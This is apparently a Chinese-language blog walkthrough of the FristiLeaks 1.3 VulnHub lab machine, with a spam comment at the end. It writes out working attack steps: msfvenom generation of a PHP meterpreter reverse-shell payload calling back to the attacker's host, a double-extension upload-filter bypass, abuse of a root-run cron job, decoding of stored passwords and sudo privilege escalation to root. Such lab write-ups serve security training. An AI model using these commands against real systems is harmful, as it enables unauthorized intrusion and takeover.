0x00.前言
离别是为了相聚,只要能相聚,无论多痛苦的离别都可以忍受。
0x01.靶机的基本信息
靶机名称:FristiLeaks: 1.3
发布日期:2015 年 12 月 14 日
作者:Ar0xA
靶机地址:https://www.vulnhub.com/entry/fristileaks-13,133/
0x02.信息收集
nmap -sn 192.168.0.1/24

sudo nmap -sS -O -A -p 1-65535 192.168.0.112

没有得到太多信息,只开放了80端口,使用apache2.2.15,应该是只能从这里找突破口了。
0x03.解谜进后台
用浏览器访问,主页是这样,

照样先在后台爆破下目录,
dirb http://192.168.0.112/ /usr/share/wordlists/dirb/big.txt

发现了几个目录:/robots.txt;/beer;/images;依次访问下,



没有得到什么有用信息,都是图片,连robots.txt的三个目录都是一样的图片,除非作者在图片中隐藏了信息。回过头来看首页,尝试性把主页的几个单词作为目录名,没想到进去了一个,


一个登录框,尝试了下SQL注入,不行。F12查看源代码,在head注释发现了一段信息:
TODO:
We need to clean this up for production. I left some junk in here to make testing easier.
- by eezeepz
这个eezeepz说给我们留了一段信息,应该就是下一段base64编码的东西,

得到了两个信息,一个用户名:eezeepz,一段base64编码。
用burp自带的解码工具解码看下,

png开头的一段乱码,十有八九是张图片,我们尝试把网页上的那个黄色小人图片替换为我们的这段编码(其实网页上这张图片也是一段base64编码)。

可以看到替换后黄色小人变为了一串字符串,可能是密码,加上之前得到的用户名:eezeepz/keKkeKKeKKeKkEkkEk,来尝试登录,

成功登录了。
0x04.错误配置导致文件上传拿shell
后台就一个文件上传的点,

尝试上传一个shell,用MSF来生成一个php的反弹shell,
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=4444 -f raw > 1225shell.php
生成了直接上传,

被拦截了,提示只能上传png,jpg,gif。apache有个换行解析漏洞(2.4.0~2.4.29),但这里apache版本是2.2.15,所以应该不行。尝试把后缀改为.php.jpg上传,


上传成功了,原因是过滤条件是从右向左读取第一个后缀,而服务器识别文件是从左向右读取第一个后缀。上传完成后就打开MSF进行监听,
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.0.109
set lport 4444
exploit
然后浏览器访问木马地址:http://192.168.0.112/fristi/uploads/1225shell.php.jpg

成功拿到一个shell,

0x05.解谜+sudo-l提权
是一个普通的apache权限,先获取下tty,
python -c 'import pty; pty.spawn("/bin/bash")'
查找一番,在/var/www下可以发现一个名为notes.txt的文本文件,

大概内容就是jerry叫这个eezeepz去他自己的home目录看下。这里可以得到两个可能有用的信息:一是jerry是个可能的用户名,二是/home/eezeepz下有东西,不一定用得上,但得先记着。
到/home目录下,也只有eezeepz的用户目录,我们才有读的权限,

进入eezeepz目录,又发现了一个notes.txt,

意思是我们只要在/tmp下创建一个名为runthis的文件,jerry设置的crontab定时任务就会执行其中的命令。这敢情好,本来想直接反弹个shell,但是不太会操作,那就先去/home目录下的其他用户目录看看,/home下有三个用户:admin;eezeepz;frisigod;
先看admin,所以将admin目录的权限直接给到777,
echo "/home/admin/chmod 777 /home/admin" > /tmp/runthis
执行后最多等一分钟就可以进入/home/admin目录,

可以看到可疑文件比较多,优先查看两个文本文件:
cryptedpass.txt -> mVGZ3O3omkJLmy2pcuTq
whoisyourgodnow.txt -> =RFn0AKnlMHMPIzpyuTI0ITG
看上去像是加密后的密码,因为注意到whoisyourgodnow.txt这个文件的所属用户是fristigod,所以分别去尝试登录了(admin/mVGZ3O3omkJLmy2pcuTq;fristigo/=RFn0AKnlMHMPIzpyuTI0ITG)。
显然,都失败了。
另外还有两个python脚本,一个就是定时任务的脚本cronjob.py,另一个是cryptpass.py,从名字上看这个应该就是加密密码所用的脚本,分别查看他们的内容,
cat cronjob.py
import os
def writefile(str):
with open('/tmp/cronresult','a') as er:
er.write(str)
er.close()
with open('/tmp/runthis','r') as f:
for line in f:
#does the command start with /home/admin or /usr/bin?
if line.startswith('/home/admin/') or line.startswith('/usr/bin/'):
#lets check for pipeline
checkparams= '|&;'
if checkparams in line:
writefile("Sorry, not allowed to use |, & or ;")
exit(1)
else:
writefile("executing: "+line)
result =os.popen(line).read()
writefile(result)
else:
writefile("command did not start with /home/admin or /usr/bin")
cat cryptpass.py
#Enhanced with thanks to Dinesh Singh Sikawar @LinkedIn
import base64,codecs,sys
def encodeString(str):
base64string= base64.b64encode(str)
return codecs.encode(base64string[::-1], 'rot13')
cryptoResult=encodeString(sys.argv[1])
print cryptoResult
和我们预想的差不多。而这个加密脚本并不复杂,就是先将明文进行base64编码,然后再用rot13加密(一种简单的替换式加密)。我们只需将这个过程逆向完成一遍就可以得到明文了。
理论存在,实践开始,快速编写一个解密脚本,如下,
import base64,codecs,sys
x = "=RFn0AKnlMHMPIzpyuTI0ITG" #x为要解密的密文
def decodeString():
x2 = codecs.decode(x[::-1],'rot13')
x3 = base64.b64decode(x2)
print("解码成功,密文如下:")
print (x3)
decodeString()
依次将两个密文解密,得到
mVGZ3O3omkJLmy2pcuTq -> thisisalsopw123
=RFn0AKnlMHMPIzpyuTI0ITG -> LetThereBeFristi!
尝试登录admin/thisisalsopw123,成功

不过admin并不是root权限,也没有sudo权限,那么尝试登录fristigod/LetThereBeFristi!
成功登录,且有sudo权限,

可以执行这个doCom文件,


尝试执行,提示错误用户,记得前面在sudo-l时好像确实看到了一个用户名,passwd文件也可以看到这个用户,


那么使用fristi用户来尝试下,

果然提示用法了,应该是可以以root权限执行命令,那么
sudo -u fristi ./doCom /bin/bash

现在,我们拿到了root权限。
0x06.总结
这台靶机比较偏向于CTF解密性质,个人不太喜欢这种,因为里面真正的漏洞并不多,跟实战偏离有点远。
参考文章:
https://www.dotnetrussell.com/index.php/2017/05/04/vulnhub-fristileaks-vm-walkthrough/
https://c0dehouse.blogspot.com/2015/12/vulnhub-fristileaks-13.html
https://hackinguyz.blogspot.com/2016/10/ctf-fristileaks-13-walkthrough.html
Comments | 1 条评论
Have you ever thnought abou writing ann e-book or
gust authoring on other websites? I have a blog centered onn the sme information you discuss andd would
really like too have you share some stories/information. I knkw my audience woud enjoy your work.
If you are even remotely interested, feel free to
shoot me an e-mail.